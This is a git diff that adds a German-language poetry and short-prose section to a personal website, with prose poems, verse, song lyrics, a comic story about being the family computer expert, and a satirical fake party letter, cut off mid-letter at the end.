7Ich finde Texte einfach zum Kotzen. Ich hasse Provokationen. Du solltest versuchen, diesen Text weder als Provokation noch als Text aufzufassen oder deine Attitüde zu der meinen verschieden wählen. Oder einfach aufhören diesen provozierenden Text zu lesen oder vielleicht einfach selber entscheiden, wovon du dich provoziert fühlst, gib nichts auf meine Auffassungen von mir selbst, oder dem Bild, welches ich von dir habe, entsprich ihm. Du hast eh keine Wahl. Stell dir lieber vor, welches Bild ich von dir habe und überdenke deines. Warum ich wohl sowas schreib und warum du es dann auch noch liest, sind wir uns nun deswegen ähnlich oder gerade nicht? Manipulier ich dich? Glaubst du, daß du merkst, wie ich dich manipuliere, warum hörst du nicht auf, zu lesen? Bist du der Meinung, die Kontrolle zu behalten? Funktioniert so Politik, wählst du dir deine Gesprächspartner nicht normalerweise gründlicher aus, was meinst du, wie wohl dialogische Kommunikation zwischen uns aussähe? Meinst du, du wüßtest, was zu sagen wäre, meinst du, ich wüßte es? Denkst du, du erfährst hier mehr über mich, als wenn du auch was zu sagen hättest, denkst du, du erfährst irgendetwas über mich, denkst du, ich wäre durchschaubar? Was hältst du von Texten? Dumme Frage. Auch sehr kategorisch, meine Meinung, findest du nicht? Kategorisierst du damit nicht auch? Ich denke nicht. War es zu offensichtlich? Nimmt der Strom nicht seltsam verschlungene Wege, ist es doch gottgegeben oder widerspricht sich das garnicht oder sollte ich mir als Atheist auch kein Bildnis machen? Soll ich nun provozieren? Ist Religion nicht ein heikles Thema, oder kommt das auf den Gegenüber an? Liest es sich noch so leicht ohne Führung? Konntest du mir folgen? Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Lies Sätze nicht zweimal. Und guck mich gefälligst an, wenn ich mit dir rede. Und sitz nicht so nachdenklich da, sag was. Achte nicht auf die Menschen um dich herum. Es tut gut, was zu sagen. Kritisiere, was du gerade liest und begehre dagegen auf. Erkenne die Schwachstellen und lass dich nicht beeinflussen. Und denke später darüber nach. Tu, wonach dir ist und gib nichts auf gutgemeinte lebensfremde Phrasen, aber lies erst zuende. Ist ja nicht mehr weit und sicherlich hättest du auch so getan, wonach dir ist. Denkst du. Nein, du tust es ja nicht mal. Und wirst es auch nicht. Ich auch nicht.
diff --git a/stories/poetry/aussage3.md b/stories/poetry/aussage3.md
new file mode 100644
index 0000000..e48bb03
--- /dev/null
+++ b/stories/poetry/aussage3.md
@@ -0,0 +1,7 @@
1<!--
2.. title: Aussage 3
3.. date: 2000/12/03
4.. tags: poetry
5-->
6
7Und da sitzen wieder zwei Menschen, zeitversetz, aber fast gegenüber, vor fast der selben Menge Wort. Für den einen ist sie noch nicht einmal fertig, für den anderen weitestgehend unverständlich. Das macht aber nichts. Bis jetzt haben nämlich beide keine Ahnung, was darin steht. Und seltsamerweise aendert sich da mit jedem Wort, ebenfalls für beide. Und das macht durchaus etwas aus. Zeigt es denn nicht, daß man sich auf den anderen einläßt? Nein. Denn der eine weiß nichts vom Anderen, außer dem Offentsichtlichem. Wahrscheinlich könnten sich beide nicht einmal leiden. Soll ich deutlicher werden? Im Passiv zu schreiben wirkt zu nachdenklich. Man sollte ja denken, daß ich genug Zeit zum Nachdenken gehabt hätte. Wenn nicht kannst du ja fuer mich weiter denken. Dir bleibt ja wohl noch genug Zeit dafür. Eigentlich verpflichtest du dich ja dadurch, daß du weiterliest, geradzu dazu. Man kann ja nicht an alles denken. Man sollte nicht zu fordernd sein. Man ist ja auch nicht mehr der Jüngste. Man flüchtet sich zu leicht wieder ins Passiv. Und reiht sinnlos Hauptsätze aneinander. Eigentlich hab ich gar keine Lust weiterzuschreiben. Ehrlich. Und du? Ehrlich, hast du eben ans weiterlesen oder weiterschreiben gedacht? Man, läßt du dich leicht in eine Rolle weisen!? Hast du dich jemals gefragt, ob dein ganzes Leben ein perfides Spiel ist. Eingefädelt zur Belustigung. Und bestimmt nicht deiner. Aber würdest du dann darauf hingewiesen werden? Wäre ja nicht in derem Sinne. Ist also dieser Text der Beweis, dass dem nicht so ist? Oder gerade? Oder gerade deswegen wieder nicht? Oder ab welcher Metaebene? Was hat das eigentlich mit diesem Text zu tun. Du schweifst ab! Lies gradliniger! Und sitz gerade! Muss man dich denn immer erinnern? Beim nächsten Mal fängst du wieder von vorne an. Sollte man man drüber nachdenken, aber nicht jetzt. Das lenkt zu sehr vom Lesen ab. Da gibt es nichts bei zu denken. War ja auch nicht abzusehen, dass wir so weit kommen. Und nun? Was sollen wir hier? Vielleicht mal rekapitulieren. Meinst du, daß du ansprechender schreiben würdest, als ich, daß dir deine Texte besser gefallen würden, als meine? Warum machst du dan keine? Das ist gar nicht so schwer. Ich werd es nicht lesen. Jemand anderes wird. Genau das hab ich mir nämlich auch gedacht. Vielleicht bist du ja der erste. Bilde dir nichts darauf ein! Das mach ich ja auch nicht.
diff --git a/stories/poetry/baecker.md b/stories/poetry/baecker.md
new file mode 100644
index 0000000..dcd9177
--- /dev/null
+++ b/stories/poetry/baecker.md
@@ -0,0 +1,32 @@
1<!--
2.. title: Bäcker
3.. date: 2002/01/01
4.. tags: poetry
5-->
6
7Ne Baeckerlehre. Irgendwas profanes. Da hat man sich dann schon einmal durchgerungen, am Kaffeetisch im Familien- und Freundeskreis der Eltern teilzunehmen, faehrt extra raus in die Pampa und dann das.
8
9Computerexperte.
10
11VERDAMMT!
12"Mein Sohn ist Computerexperte!" Und das mit einem Laecheln, dass dieses Wort nach "Bundeskanzler" klingen laesst, oder "Bankdirektor". Nun weiss man, dass man verloren hat.
13
14Alles kommt wieder hoch. All diese "Mutti, du kennst dich doch mit diesem Betriebssystem viel besser aus, als ich". Nein tut sie nicht und dann beweist sie, waehrend man schwitzend durch irgendwelche Systemsteuerungshilfen clickt, dass sie es doch besser weiss. Klar sie wuerden es alleine schaffen, jedes Mal, aber sie brauchen einen ja, damit man die Fehler macht, die sie vermeiden wollen, nur um dann ganz generoes darueber hinwegschauen zu koennen und einem ganz unauffaellig zu zeigen, wieviel Erfahrung sie schon gesammelt haben. Als ob das nun nicht schon alles genug waere, und Telefon- und Benzinkosten beliebiger Hoehe verursacht haette, sitzt man an dieser bekloppten Kaffeetafel und schluckt und versucht, alle Aehnlichkeit mit Bill Gates zu vermeiden, stopft sich mehr Kuchen in den Mund und schluckt und versucht, nicht wie ein voelliger Trottel auch noch rot zu werden, als ob man stolz drauf sei. Aber eigentlich weiss man, dass es keinen Zweck hat. Man hat verloren.
15
16Das sieht man daran, dass einen alle mit so ganz anderen Augen angucken. Man ist ploetzlich ein Nuetzling. Ein Trottel zwar, aber nuetzlich. Und man sieht an seinem inneren Augen schon die Situationen vorbeihuschen:
17
18Der Cousin, der sich "irgendwo im Interweb einen Trojaner-Virusprogramm" eingefangen hat und man darf da antanzen, clickt ein wenig herum, bekommt in der Browseraddresshistory Ferkelwoerter zu sehen, die einem einen ungefaehren Eindruck verschaffen, mit welcher Hartnaeckigkeit da gesucht wurde und von denen ein Grossteil da nicht im Traum einfallen wuerde, obwohl man ja selber auch nicht voellig.. aber egal! Man nickt ein paar mal bedeutend und schuettelt hier und dort den Kopf und wenn der Cousin dann irgendwas von "Iloveyou" und "Melissa" brabbelt, faellt einem nix weiter ein als "Ja, hab ich auf Heise gelesen, aber weiss ich jetzt auch nicht" und dann sieht man dieses schnippische "pah". Dieses "und du willst was von Computern verstehen". Und zu NetBSD und dem Apache, den man vorhin installiert hat und dem CryptoFS, an dem man grade codet, gibz nur ein "hab ich laengst durchgespielt" und man weiss, dass man Federn verloren hat, aber da nie wieder hin muss.
19
20Und da sitzt man nun, kaut auf Gabel und Kuchen und alle warten auf den Startschuss zur Hatz. Da gibt es immer einen widerlichen neuen Liebhaber irgendeiner Tante, der einem ganz scheinheilig zwei voellig aus der Luft gegriffene Monitortypen an den Kopf wirft und man soll nun entscheiden, welchen er kaufen soll nur um mit dieser Meinung gleich auseinander genommen zu werden. Man rettet sich mit Phantastereien ueber Lochmasken vom LCD Schirm und ist erloest.
21
22Vorerst nur, dank derselben bloede Tante, die den Typen angeschleppt hat, die macht naemlich einen Witz ueber Bankraeuber mit ihren Lochmasken. Die Meute hat nun mit der gestrigen Bildzeitung und dem schlimmen Bankueberfall genug zu tun, um vom heroischen Fluchtversuch abzulenken, den man dann notfuerftig als Toilettenbesuch getarnt, unternimmt. Saesse man noch da, wenn sie sich einem wieder widmeten, liefen man leicht Gefahr, jegliche Selbstachtung zu verlieren. Stattdessen steht der sehr verstaendnisvolle Opa im Flur, der unbedingt wissen will, was man denn da so gerade arbeitet und irgendwie tut es einem ernsthaft leid, dass das enttaeuschte Nichtverstehen in seinen Augen schon nach dem zweiten Buzzword durchfackelt.
23
24Und wieder uebermannt einen ein Bild drohenden Uebels. Situation: gemuetlicher Abend, Programmieren an der Weltverbesserung. Grundnahrungsmittel und Brot, eine gute Playlist, naechsten Morgen nicht frueh aufstehen... und dann natuerlich ploetzlich Telefon. Und dann vier Stunden irgendeinem Verwandten oder Bekannten eines Verwandten nur unter Zurhilfenahme eines XP auf dem Scancomputer in der Firma als Referenz beschreiben wie man unter Win95 versteckte Dateien einblendet und dlls ins Pluginverzeichnis des CD-Rippers kopiert, dass natuerlich nicht ueber den Startknopf im zweiten Menue sondern im Explorer, der aber dummerweise Arbeitsplatz heisst...
25
26dabei kann man gerade noch verhindern, auf dem Rueckweg vom Klo in das Nachbarskind zu rennen, dass inzwischen schon gross und ansehnlich geworden ist, und steht paralysiert da, wie man es aus schlechten Filmen kennt, wo auch der ekligste, pickelige Computerhacker doch noch das Cheerleadermaedchen abbekommt, und bestaetigt alle Stereotype und huscht durch das Wohnzimmer zurueck in das ehemalige Zimmer, das laengst zum Buero umfunktioniert wurde und tastet sein Gesicht nach Pickeln ab.
27
28Noch waehrend man den Obstkuchenfleck auf seinem Alt-F4 Shirt breitreibt, hoert man vor der Tuer die Nachbarskinder tuscheln und "wenn du mich aergerst, hol ich meinen grossen Bruder und der haut dich" scheint obsolet zu sein, jetzt bedrohen sie sich mit "dann hackt der dein Konto" und das geht spaetestens dann schief, wenn sie uebermuetig den Dorffaschos mit "und der macht dir Punkte in Flensburg" drohen.
29
30Und langsam reift die Erkenntnis, dass man seinen Eltern erzaehlen will, man wuerde jetzt Baecker oder Kfz-Mechaniker oder Bankdirektor.
31
32Oder Bundeskanzler!
diff --git a/stories/poetry/bsd.vs.linux.md b/stories/poetry/bsd.vs.linux.md
new file mode 100644
index 0000000..cd5c4fd
--- /dev/null
+++ b/stories/poetry/bsd.vs.linux.md
@@ -0,0 +1,11 @@
1<!--
2.. title: BSD vs. Linux
3.. date: 2002/02/01
4.. tags: poetry
5-->
6
7The daemon and penguin are fighting,<br/>
8under which license thou should be writing.<br/>
9But an a closer look,<br/>
10to me it is enuk,<br/>
11that emacs has syntax high-li-ting!<br/>
diff --git a/stories/poetry/domizil.md b/stories/poetry/domizil.md
new file mode 100644
index 0000000..8caa24d
--- /dev/null
+++ b/stories/poetry/domizil.md
@@ -0,0 +1,19 @@
1<!--
2.. title: (erdgeist II) Domizil
3.. date: 2002/12/02
4.. tags: poetry
5-->
6
7Wohl dem, der die Einsamkeit noch<br/>
8als Schatten begreift und nicht<br/>
9als das Universum, aus dem man<br/>
10vereinzelt nur Sternstunden<br/>
11der Freiheit sich pflueckt.<br/>
12Und welch Unglueck fuer den,<br/>
13der sich, vom Instinkt ueberwaeltig,<br/>
14des Lichts entsagt, nur um einem<br/>
15sich selbst nie erfuellenden Traum<br/>
16der Freiheit nachzugehn.<br/>
17Ich hingegen habe mein Domizil gefunden,<br/>
18in das bisher noch alle wandernden Seelen<br/>
19frueher oder spaeter zurueckfanden.
diff --git a/stories/poetry/dreiviertel b/stories/poetry/dreiviertel
new file mode 100644
index 0000000..0aba2f6
--- /dev/null
+++ b/stories/poetry/dreiviertel
@@ -0,0 +1,33 @@
1C D
2Schnee im April im Cafe auf der Strasse
3G a E
4eiskalt erwischt beim Treffen mit dir
5C D
6Erfrorene Worte schlittern nun rastlos
7G E
8taumelnd und einsam vor mir
9
10Eiszapfen gleich stechen die Blicke
11die deine verschneiten Augen verteiln
12zieh dich warm an und geniesse die Stunden
13die Glueck und Elend bei dir noch verweiln.
14
15 C d
16 Wohin immer du gehst,
17 E F
18 was auch immer dich treiben mag
19 G a
20 die Zeit ist vorbei,
21 B A
22 wo die Zeit noch Gefangene macht.
23
24 Was auch immer du suchst,
25
26 wer auch immer dich finden mag,
27
28 die Zeit gibt kleinbei,
29
30 wenn du ihr nur ein Laecheln schenkst.
31
32Regen im Mai beim Konzert auf der Wiese
33klatschnasse
diff --git a/stories/poetry/elokpaula.md b/stories/poetry/elokpaula.md
new file mode 100644
index 0000000..a89d4e6
--- /dev/null
+++ b/stories/poetry/elokpaula.md
@@ -0,0 +1,17 @@
1<!--
2.. title: E-Lok Paula
3.. date: 1999/12/01
4.. tags: poetry
5-->
6
7Und da saß ich nun im Bummelzug von New York nach Idar Oberstein, nachdem ich gerade erfolgreich am Ärztekongreß über postmortale Harninkontinenz teilgenommen & natürlich alle in Grund & Boden debattiert hatte. Alles lief seinen üblichen Gang: kurz vor Einfahrt des Zuges war meine Tasche auf die Gleise gefallen, weshalb mein neu erstandenes Vibratorset jetzt leicht verbogen ist, zwei Mexikanerjungen, die für ein geringes Bakshish Koffer für die Reisenden tragen, verloren ihr Leben, als sie sich im Kampf um meinen Rollcontainer gegenseitig gegen die Hochspannungsleitungen warfen & der Lokführer schoß uns den Weg durch den Pöbel frei, der keine Platzkarte bekommen hatte. Der Pöbel zog 'ne Flappe & verstreute sich dann.
8
9Doch nun saß ich gemütlich im Zug, probierte alle meine neuen Deosticks aus & erfreute mich an der Zugluft, als eine Stewardeß bestürzt durch mein Apartment stolperte & schrie: "Sie muß verrückt geworden sein... zur Hülf!" worauf sie durch mein offenes Kellerfenster nach jenseits der Gleise sprang. Aber weit gefehlt.
10
11Niemand war verrückt geworden, es lagen nur gehörige Mißverständnisse vor, aber dazu später dann mehr. Plötzlich kam ich, um den Faden wieder aufzunehmen, auf die Idee, meine Geschichte nicht mehr in der Vergangenheitsform zu erzählen & das tue ich nun. Ich werde also, um die Spannung aus dem Plot zu nehmen, dorthin laufen, woher die aufgeregte junge Dame gekommen sein wird & dort feststellen, daß erstens ich barfuß in einer Ölpfütze stehe & zweitens die Kuhüberreste, die sich am seitlichen Fenster langsam in einer der Fahrtrichtung entgegengesetzten... äh Richtung entlang schleifen lassen werden, darauf hindeuten können würden, daß mit der 293,70 Euro teuren Zugfahrt etwas nicht stimmen wird. Ich vermute später nachdem ich mit dem Futur ebenfalls gebrochen habe, daß sich der Grund hierfür im Speisewagen befände; nach einer Odyssee durch Nicht- & - Raucherabteils, Bordtelefone, verschiedene Kulturmetropolen & ein heruntergekommenes Fischgeschäft würde ich aber eines Besseren belehrt: Ich träfe nämlich den Lokomotivführer, der mir erklärte, mein Konjunktiv wäre zutiefst unpassend & die Lok spielt verrückt. Ich schleiche mich also in den Führerstand, weiche eins, zwei entgegenkommenden Ampeln aus, die Ölflecke an meine Füßen ein & frage die Lok entspannt, was los sei. Sie erwidert, von mir jetzt kurz zusammengefaßt, ihre Probleme seien größtenteils sexueller Natur (was ich ihr natürlich nicht glaube) worauf das gesamte Publikum grölt. Daraufhin ist sie noch beleidigter & setzt gerade an, die Schneise die sie eben in den Wald wälzt, Richtung Fluß zu lenken, als ich aus dem gerade heimlich hervorgekramten Führer zum "Umgang mit manisch depressiven Triebfahrzeugen" die einfühlsamen Worte "Erzähl mir doch deine Geschichte" vorlese. Das lenkt die Lok für ein paar Sekunden ab & noch bevor sie ihre halbfertigen Memoiren zur Hand hat, kann ich einen Selbstzerstörungsmechanismus installieren & abspringen. Als Paula, so hieß laut dem Aufdruck auf ihrem Tagebuch, auf das ich einen heimlichen Blick erhaschen konnte, die Lokomotive, also als Paula klar wird, was geschehen war & in Ermangelung von Extremitäten Extremisten beauftragt, den Selbstzerstörungsmechanismus in die Luft zu jagen, diese jedoch Geld & Plutonium dafür verlangen & das Wochenbudget von Paula ausgeschöpft bzw. ihre Coupons längst verbraucht sind, versprach sie, jetzt vernünftig zu sein, auf die Schiene zurückzukehren & durch Überschreiten der Höchstgeschwindigkeit den Fahrplan wieder einzuhalten. Ich bekomme langsam Mitleid & wieder einen präteritativen Schreibstil, jedoch waren die voreingestellten 5 Minuten bereits um & noch bevor ich die timbuktische Nationalhymne zum Entschärfen der Gravitonenbombe hätte zu ende pfeifen können, flogen mir die Memoiren einer E- Lok namens Paula um die Ohren.
12
13Ich überflog sie rasch, anscheinend hatte Paula mir, zumindest der letzten Eintragung nach, bereits vergeben & ich fand endlich den Grund für ihre Traurigkeit. Der innige Körperkontakt mit anderen Lokomotiven, den Paula brauchte, hätte bei den für sie typischen Geschwindigkeiten verheerende Folgen gehabt & war ihr deswegen verboten worden, so steigerte sich ihre Depression von Tag zu Tag & gerade heute wurde es ihr zuviel & eigentlich hatte sie bis zum Zeitpunkt meiner Intervention vor, das Lokomotivmuseum in Klein Aaknach zu besuchen, in das sie nun, aufgrund meiner Bemühungen gebracht wurde, in Einzelteilen, natürlich... Den Schornstein dürfte ich als Andenken behalten... wenn es eine Dampflok gewesen wäre. Er schmückte dann heute den Tisch meines Verteidigungsministers.
14
15Aber so...
16
17 Karl G.
diff --git a/stories/poetry/fdp.md b/stories/poetry/fdp.md
new file mode 100644
index 0000000..8284527
--- /dev/null
+++ b/stories/poetry/fdp.md
@@ -0,0 +1,60 @@
1<!--
2.. title: F.D.P.
3.. date: 2002/06/01
4.. tags: poetry
5-->
6
7Dear http://www.bonsaikitten.com/ staff,::
8
9 I am speaking for a larger german party called
10 F.D.P. ( the Free Liberal Party:
11 http://www.fdp.de/ ) As you might know, on
12 September, 22nd the next election for the
13 German Bundestag will take place and we
14 currently are preparing our election campaign.
15 As providing giveaways for interested voters
16 always is a good idea, we consider ordering a
17 larger quantity of kittens.
18
19 Now there are some questions left about this
20 strategy:
21 * Is it possible to form a single kitten into
22 our F.D.P. shape, or will we have to order
23 a set of 3 kittens each for a single letter?
24 * Is it possible to colorize the kittens in
25 our party logo colors blue and yellow? Maybe
26 the space between each letters and its dots
27 in blue and the remaining space yellow?
28 * if we order, say 100.000 kittens, will you
29 offer a discount?
30 * is it possible to order these kittens on a
31 commission base? That's because if we don't
32 get enough votes in the election, we may not
33 be able to pay all the kittens. Maybe you
34 shape/form 50.000 pieces "just a bit" so
35 you can reinflate them when we send them
36 back?
37 * As we currently have some problems
38 concerning accuses of antisemitism we want
39 to be sure not to let jewish cats be put into
40 glasses, as this might result in bad press
41 of the kind "F.D.P. imprisons jewish kittens".
42 Could you please verify that each of these
43 kittens is not pruned?
44 * Of course it would be necessary to have those
45 pets as soon as possible, how long would
46 it take until the shaping is perfect? May we
47 suggest giving HGH to accelerate the growth?
48
49 If you can fulfil our needs we even may think
50 about ordering a special "parachute edition"
51 which could be dropped at campaign events.
52
53 And: if your support leads us to government, we
54 will pass a law, forcing every school to have
55 at least one kitten for biology classes.
56
57Yours sincerely
58
59 Martin Matz
60 chairmember of F.D.P.
diff --git a/stories/poetry/feindkontakt.md b/stories/poetry/feindkontakt.md
new file mode 100644
index 0000000..8d73834
--- /dev/null
+++ b/stories/poetry/feindkontakt.md
@@ -0,0 +1,47 @@
1<!--
2.. title: Feindkontakt
3.. date: 2001/08/01
4.. tags: poetry
5-->
6
7Es ist wieder Zeit, nachzudenken.<br/>
8Das Leben breitet sich vor dir<br/>
9aus wie unbekanntes Feindesland.<br/>
10Und sie wollen von dir, dass du,<br/>
11ohne Plan und nahezu unbewaffnet<br/>
12und schlecht ausgebildet<br/>
13deinen Kopf behaeltst und nicht<br/>
14aus Versehen den Falschen triffst<br/>
15und den Deinen Schande bereitest.<br/>
16Und noch waehrend du dir deine<br/>
17Strategie zurecht legst<br/>
18und aus deiner Deckung kriechst,<br/>
19fuehlst du, dass es fuer dich hier<br/>
20und jetzt vorbei ist.<br/>
21Dass es an der Zeit ist, endlich<br/>
22das Kommando zu uebernehmen und<br/>
23die gottverdammte Verantwortung.<br/>
24Dass es Zeit wird, aufrecht zu<br/>
25gehen, auch wenn du dabei Gefahr<br/>
26laeufst, dir den Kopf zu stossen.<br/>
27Und dass du merkst, dass dies kein<br/>
28Grund ist, auf dich stolz zu sein<br/>
29sondern dass du dich beschaemt und<br/>
30enttaeuscht fuehlen muesstest,<br/>
31dass du selbst und die meisten<br/>
32um dich herum gekrochen sind.<br/>
33Und es ist an der Zeit, dass du<br/>
34endlich erkennen und im Stehen<br/>
35keine Fronten sehen wirst,<br/>
36von denen sie erzaehlt haben, dass<br/>
37sie sich direkt vor dir befinden.<br/>
38Und ja! Schrei es hinaus und<br/>
39tanze und springe durch dieses<br/>
40... Vaterland.<br/>
41Und wenn dich alle anderen<br/>
42ausgelacht haben, dann leg dich<br/>
43ruhig wieder hin.<br/>
44Denn du hast ja bewiesen, dass<br/>
45du nachgedacht hast und die<br/>
46Ketten von dir geworfen.<br/>
47Aber taeglich?<br/>
diff --git a/stories/poetry/freiheit.md b/stories/poetry/freiheit.md
new file mode 100644
index 0000000..f6d8997
--- /dev/null
+++ b/stories/poetry/freiheit.md
@@ -0,0 +1,21 @@
1<!--
2.. title: (erdgeist III) Freiheit
3.. date: 2002/12/03
4.. tags: poetry
5-->
6
7Freiheit der Seele<br/>
8ist eine Illusion.<br/>
9Und gerade, weil mich seit<br/>
10Jahrhunderten umtreibt,<br/>
11was der Wille nicht zu<br/>
12verhindern mochte<br/>
13und ich Seelen, Geister,<br/>
14ach so freie Gestalten<br/>
15einfing, wie die Sonne<br/>
16die Erde und die Erde<br/>
17den Mond.<br/>
18Gerade deswegen weiss ich,<br/>
19dass auch du allzu gern<br/>
20Geborgenheit gegen Freiheit<br/>
21eintauschen wirst.
diff --git a/stories/poetry/fruehlingsgewitter.md b/stories/poetry/fruehlingsgewitter.md
new file mode 100644
index 0000000..90941d1
--- /dev/null
+++ b/stories/poetry/fruehlingsgewitter.md
@@ -0,0 +1,30 @@
1<!--
2.. title: Frühlingsgewitter
3.. date: 2002/05/02
4.. tags: poetry
5-->
6
7Wenn das Grau der Stadt sich mischt<br/>
8mit dem schweren Dunkel des Regens,<br/>
9der sich langsam ueber uns legt,<br/>
10wie eine alte staubige Gardine,<br/>
11und uns einfaengt, wie zerfetzte<br/>
12Weben einer unsichtbaren Spinne.<br/>
13Wenn zur Last der durchnaessten<br/>
14Kleider auf den Leib<br/>
15noch der Himmel eine unertraegliche<br/>
16Schwere auf die Seele legt.<br/>
17Wenn der stete Wind, der die<br/>
18Tropfen auf der Haut trocknet,<br/>
19mich noch mehr froesteln laesst,<br/>
20als der Wiederhall des Wetters<br/>
21aus der Ferne, der sich mischt mit<br/>
22dem bedrohlichen Zucken des Lichts.<br/>
23Und wenn es sich spiegelt,<br/>
24in deinen Augen, deren Gegenwart<br/>
25deine blasse Haut unmerklich<br/>
26in der Tiefe des Aprils verlieren<br/>
27und mich traeumen laesst.<br/>
28Dann sind genau diese Augen der Ort,<br/>
29an dem ich Klarheit finde<br/>
30und Waerme und Farbe.<br/>
diff --git a/stories/poetry/geaendert.md b/stories/poetry/geaendert.md
new file mode 100644
index 0000000..9486799
--- /dev/null
+++ b/stories/poetry/geaendert.md
@@ -0,0 +1,18 @@
1<!--
2.. title: Geändert
3.. date: 2001/07/01
4.. tags: poetry
5-->
6
7Dinge aendern sich.<br/>
8Wo in der Erinnerung noch Monumente<br/>
9neben laengst verdraengtem<br/>
10prachtvoll sich erheben,<br/>
11wo aus schoengefaerbter Vergangenheit<br/>
12Trugbilder gluecklicher Stunden<br/>
13auftauchen und den Verstand vernebeln,<br/>
14wo der fade Nachgeschmack des<br/>
15wohl selbstverschuldeten Endes<br/>
16an sich selber zweifeln laesst,<br/>
17wo einst Frohsinn regierte und Liebe,<br/>
18haben sich die Dinge halt geaendert.<br/>
diff --git a/stories/poetry/gefangen.md b/stories/poetry/gefangen.md
new file mode 100644
index 0000000..eb397c9
--- /dev/null
+++ b/stories/poetry/gefangen.md
@@ -0,0 +1,17 @@
1<!--
2.. title: Gefangen
3.. date: 2010/08/01
4.. tags: poetry
5-->
6
7Jetzt hast Du mich<br/>
8Eingefangen und läßt<br/>
9Mich nicht mehr los<br/>
10Und es bleibt das Gefühl<br/>
11Als trüge ich nun<br/>
12Den mir in diesem kurzen Moment<br/>
13Des Berührens angelegten Ring<br/>
14um Herz, Verstand, Bein und Hand<br/>
15Und wenn ich aufsteige und fliege<br/>
16Und ankomme sieht man mir doch<br/>
17Noch das Treffen an, mit Dir.
diff --git a/stories/poetry/gefunden.md b/stories/poetry/gefunden.md
new file mode 100644
index 0000000..05d6483
--- /dev/null
+++ b/stories/poetry/gefunden.md
@@ -0,0 +1,19 @@
1<!--
2.. title: Gefunden
3.. date: 2003/09/01
4.. tags: poetry
5-->
6
7Endlich!, wuerde ich sagen.<br/>
8Doch nachdem<br/>
9zu ungenau ich gezaehlt,<br/>
10zu sorglos ich mich versteckt,<br/>
11zu unachtsam ich geschmult,<br/>
12zu heftig ich geatmet,<br/>
13zu zaghaft ich gesucht und<br/>
14zu offensichtlich ich mich<br/>
15zu erkennen gegebene habe,<br/>
16nach einem fluechtigen Blick<br/>
17geht das Spiel einfach<br/>
18in die naechste Runde.<br/>
19Du bist dran.
diff --git a/stories/poetry/grau.md b/stories/poetry/grau.md
new file mode 100644
index 0000000..0d096de
--- /dev/null
+++ b/stories/poetry/grau.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Grau
3.. date: 2003/05/01
4.. tags: poetry
5-->
6
7Die grauen Maenner kommen<br/>
8an den hellen Tagen nur.<br/>
9Und bewaffnet mit nichts als den<br/>
10verlorenen Illusionen allein,<br/>
11kleingehackt und aufbereitet<br/>
12in schoene und als unerreichbar<br/>
13deklarierte Traeume,<br/>
14sehnsuchtsvoll all den Momenten<br/>
15hinterhertrauernd, in denen<br/>
16man sie, Stueck um Stueck,<br/>
17verloren hat und geschlagen<br/>
18mit einer Wut, die so hilflos<br/>
19und aengstlich wirkt gegen den<br/>
20von der Leine gelassenen, alles<br/>
21bedrohenden Schweinehund,<br/>
22mit diesen laecherlichen Fetzen<br/>
23also, Ideen eines anderen Jetzt,<br/>
24zahlt man den grauen Maennern,<br/>
25wie ueblich, ihren Zoll.
26
diff --git a/stories/poetry/grossejungs.md b/stories/poetry/grossejungs.md
new file mode 100644
index 0000000..60466a7
--- /dev/null
+++ b/stories/poetry/grossejungs.md
@@ -0,0 +1,23 @@
1<!--
2.. title: Große Jungs
3.. date: 2003/10/01
4.. tags: poetry
5-->
6
7Die Augen sind nicht kleiner geworden,<br/>
8ueber die Jahre und haben nichts<br/>
9von ihrem Glaenzen verloren.<br/>
10Nein. Noch immer stolpern wir ohne<br/>
11nachzudenken jedem Spielzeug hinterher.<br/>
12<br/>
13Die Jungs sind nicht weiser geworden,<br/>
14denn waehrend die Seifenkisten und<br/>
15Plasteautos den Echten wichen,<br/>
16mussten echte lebendige Maedels<br/>
17den geseiften Plastefrauen Platz machen.<br/>
18<br/>
19Die Welt ist um nichts besser geworden,<br/>
20man liebt sich und betruegt sich,<br/>
21und am Ende spielen doch,<br/>
22wie seit Generationen die Vaeter,<br/>
23immer wieder nur die Jungs mit den Jungs.<br/>
diff --git a/stories/poetry/header b/stories/poetry/header
new file mode 100644
index 0000000..2e2c4af
--- /dev/null
+++ b/stories/poetry/header
@@ -0,0 +1,4 @@
1<!--
2.. title:
3.. tags: poetry
4-->
diff --git a/stories/poetry/im_sog.md b/stories/poetry/im_sog.md
new file mode 100644
index 0000000..a26b0de
--- /dev/null
+++ b/stories/poetry/im_sog.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Im Sog
3.. date: 2005/01/01
4.. tags: poetry
5-->
6
7Wenn der letzte Halt genommen,<br/>
8Respekt, Ehre, Treue und Liebe<br/>
9verfallen sind.<br/>
10
11Dann bleibt nur die Wollust,<br/>
12das Triebhafte hinab in den Strudel<br/>
13des unreflektierten Hedonismus.<br/>
14
15Ein ewiges Stuerzen in den Schlund<br/>
16des Zwanghaften, aufgerieben<br/>
17an den letzten standhaften Vorspruengen,<br/>
18die das Anstaendige<br/>
19in die glitschigen Waende<br/>
20der Verdammnis gerammt hat.
diff --git a/stories/poetry/index.rst b/stories/poetry/index.rst
new file mode 100644
index 0000000..8c3c125
--- /dev/null
+++ b/stories/poetry/index.rst
@@ -0,0 +1,13 @@
1.. link:
2.. description: erdgeist schreibt
3.. tags:
4.. date: 1970/01/01 01:00:00
5.. title: poetry
6.. slug: index
7.. hidetitle:
8
9.. post-list::
10 :all:
11 :tags: poetry
12 :template: list_poetry.tmpl
13 :id: poetry
diff --git a/stories/poetry/kuenstler b/stories/poetry/kuenstler
new file mode 100644
index 0000000..901a348
--- /dev/null
+++ b/stories/poetry/kuenstler
@@ -0,0 +1,30 @@
1Lieber [...Kuenstler...],
2
3die Realitaeten unter den Medienkonsumenten haben sich in Richtung
4eines Zustands verschoben, in der staendig (fast) alle Werke online
5zur Verfuegung stehen.
6Wenn man die Werke mag, die man sich nun kostenlos besorgen kann,
7hat man leider bisher keine Moeglichkeit, den Kreativen finanzielle
8Wertschaetzung zu erweisen, ohne die gesamte Verwertungsindustrie
9bestehend aus Einzel- und Grosshandel, Ton/datentraegerproduzenten,
10Rechteverwaltern und Marketing zu alimentieren.
11Deswegen hat [...] ein Treuhandkonto eingerichtet, auf das jeder,
12der meint, einen Kuenstler seiner Wahl finanziell unterstuetzen zu
13wollen und damit auch unabhaengiger zu machen, einen ihm genehmen
14Betrag einzuzahlen, der anonymisiert sofort weitergereicht wird.
15Damit kauft man sich natuerlich auf juristischer Ebene nicht frei,
16vielleicht aber auf moralischer. Andererseits ist so eine Spende
17lange kein Eingestaendnis, illegale Kopien der Werke zu besitzen,
